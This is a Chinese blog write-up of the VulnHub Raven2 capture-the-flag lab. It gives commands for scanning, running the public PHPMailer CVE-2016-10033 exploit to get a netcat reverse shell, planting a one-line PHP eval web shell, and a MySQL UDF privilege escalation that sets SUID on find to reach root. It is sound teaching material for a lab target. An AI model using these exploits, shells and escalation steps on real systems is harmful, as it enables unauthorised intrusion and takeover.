赞
踩
目录
环境:https://download.vulnhub.com/raven/Raven2.ova
当MYSQL权限比较高的时候我们就可以利用UDF提权。
UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)
UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。
文件后缀为.dll
或.so
,常用c语言编写。
UDF在MySQL5.1以后的版本,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’常用c语言编写。
MySQL5.1以上的版本,默认是没有plugin目录的,选择手动建立。
其实这一步都无所谓,毕竟如果你操作系统提权失败,而恰巧目标使用的是MySQL,那孤注一掷吧。
如果MySQL也不行,什么方法都尝试了依旧无果,那只能请教一下红队大牛了(小的不行)
- ┌──(root㉿hack)-[~]
- └─# ifconfig eth0 | grep inet
- inet 192.168.20.130 netmask 255.255.255.0 broadcast 192.168.20.255
- inet6 fe80::823a:7455:6959:aac2 prefixlen 64 scopeid 0x20<link>
- ┌──(root㉿hack)-[~]
- └─# nmap -sP 192.168.20.0/24
- /*
- -s 指定扫描技术
- -P ping操作
- -sP 使用ping操作来寻找存活主机
- */
-
- 发现目标机为:192.168.20.137
- ┌──(root㉿hack)-[~]
- └─# nmap -sS -p 1-65535 192.168.20.137
- /*
- -sS SYN扫描技术
- -p 指定端口
- */
- ┌──(root㉿hack)-[~]
- └─# dirb http://192.168.20.137/
通过目录访问探索发现:http://192.168.20.137/vendor/ 存在目录遍历漏洞。
眼疾手快的点了一下PATH发现flag信息以及绝对路径
发现一个README.md的说明文档,打开看看。
发现PHPMailer并且版本为5.2,上网查询发现公开漏洞。
这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。
如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!
别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。
- searchsploit phpMailer #搜索关于phpMailer的exp
-
- searchsploit -m php/webapps/40974.py #将exp保存到当前工作目录中
- vim /root/40974.py
- target #修改为目标IP+端口
- payload #反弹shell的地址修改为攻击机的IP地址
- fields→email #修改为目标网址绝对路径(只要可以访问,放哪里都无所谓)
- ┌──(root㉿hack)-[~]
- └─# nc -lvp 4444
- listening on [any] 4444 ...
-
- nc #nc是netcat的简写,工具命令。
- -l #监听模式。使用此选项后,nc将会监听指定的端口。
- -v #启用详细的输出模式。使用此选项后,nc将会显示更多的信息和日志。
- -p 4444 #这是nc的另一个选项,表示指定监听的端口号。在这个例子中,指定的端口号是4444。
- ┌──(root㉿hack)-[~]
- └─# python 40974.py
-
- █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
- ██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
- ███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝
- ██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗
- ██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║
- ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
- PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com
- Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski
-
- [+] SeNdiNG eVIl SHeLL To TaRGeT....
- [+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
- [+] ExPLoITeD http://192.168.20.137/contact.php
- 使用浏览器访问:http://192.168.20.137/bug.php
-
-
- 转到终端1,可以看到,成功反弹shell成功。
- ┌──(root㉿hack)-[~]
- └─# nc -lvp 4444
- listening on [any] 4444 ...
- Warning: forward host lookup failed for bogon: Unknown host
- connect to [192.168.20.130] from bogon [192.168.20.137] 40254
- /bin/sh: 0: can't access tty; job control turned off
- $ whoami
- www-data
- $ find / -name "flag*" 2>/dev/null
- /var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
- /var/www/flag2.txt
这里用flag查询flag,发现只有2个,结合之前那一个,一共3个。
但是这个靶机中存在4个flag,用find没有查出来,猜测是有些目录是当前权限无法访问,所以没有查出来,我们下面开始进行提权操作。
反正都是网站权限,写一个一句话木马,用蚁剑操作比较方便。
echo '<?php @eval($_REQUEST['bug']); ?>' > tu.php
这篇文章的主题就是UDF提权,所以肯定是系统提权失败,才选择UDF提权、
信息收集看到网址框架是wordpress,所以我们直接选择去看它的配置文件。
在这个配置文件中看到了数据库账号和密码,并且数据库为MySQL
这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。
如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!
别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。
- searchsploit mysql UDF #搜索关于mysql UDF的exp
-
- searchsploit -m linux/local/1518.c #将exp保存到当前工作目录中
- ┌──(root㉿hack)-[~]
- └─# gcc -g -c 1518.c
-
- ┌──(root㉿hack)-[~]
- └─# gcc -g -shared -o bug.so 1518.o -lc
- 将1518.c文件编译成.so文件
- 将C语言代码编译成.so文件(也称为共享对象文件)的作用是创建一个可供其他程序调用和链接的动态链接库。
- 这种动态链接库通常包含一组函数和符号,可以在运行时被其他程序加载和使用。
-
- .so文件可以被不同的程序共享使用,这样可以避免代码的重复编写和维护。
- 它提供了一种灵活的方式来共享和重用代码,从而提高开发效率和代码复用性。
-
- 通常情况下,需要先将C语言代码编译为目标文件(.o文件),然后再将目标文件链接为共享库(.so文件)。
- 这是因为编译过程分为两个阶段:编译和链接。
- 编译阶段将源代码转换为目标文件,而链接阶段将目标文件与其他库文件进行连接,生成可执行文件或共享库。
- create table bug(line blob);
- 这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。
-
- insert into bug values(load_file('/tmp/bug.so'));
- 这条命令将指定路径(/tmp/bug.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。
- 这里假设该文件是一个共享库文件。
-
- select * from bug into dumpfile '/usr/lib/mysql/plugin/bug.so';
- 这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)
- 这里的目的是将"bug"表中的内容导出为一个共享库文件。
-
- create function do_system returns integer soname 'bug.so';
- 这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
- 该函数通过指定的共享库文件(bug.so)进行加载。
-
- select do_system('chmod u+s /usr/bin/find');
- 这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
- 这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。
![](https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png)
- (www-data:/tmp) $ touch tu
- (www-data:/tmp) $ find tu -exec whoami \;
- root
- SUID权限:
- 它在执行过程中会临时获取文件所有者的权限,而不是执行它的用户的权限。
- 也就是说如果我执行了一个设置有SUID权限的文件,那么我在执行这个文件的权限就是root(含过程)。
-
- find命令 #指定要搜索的文件或目录的路径
- tu #文件
- -exec #"-exec" 是 find 命令中的一个选项,用于在找到匹配的文件或目录后执行指定的命令。
- whoami #在这个命令中,指定的命令是 "whoami",它用于显示当前用户的用户名。
- \; #是一个用于告诉 find 命令 "-exec" 选项结束的标志。在这个命令中,它表示命令执行的结尾。
- (www-data:/tmp) $ find tu -exec find / -name "flag*" 2>/dev/null \;
- (www-data:/tmp) $ find tu -exec cat /root/flag4.txt \;
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。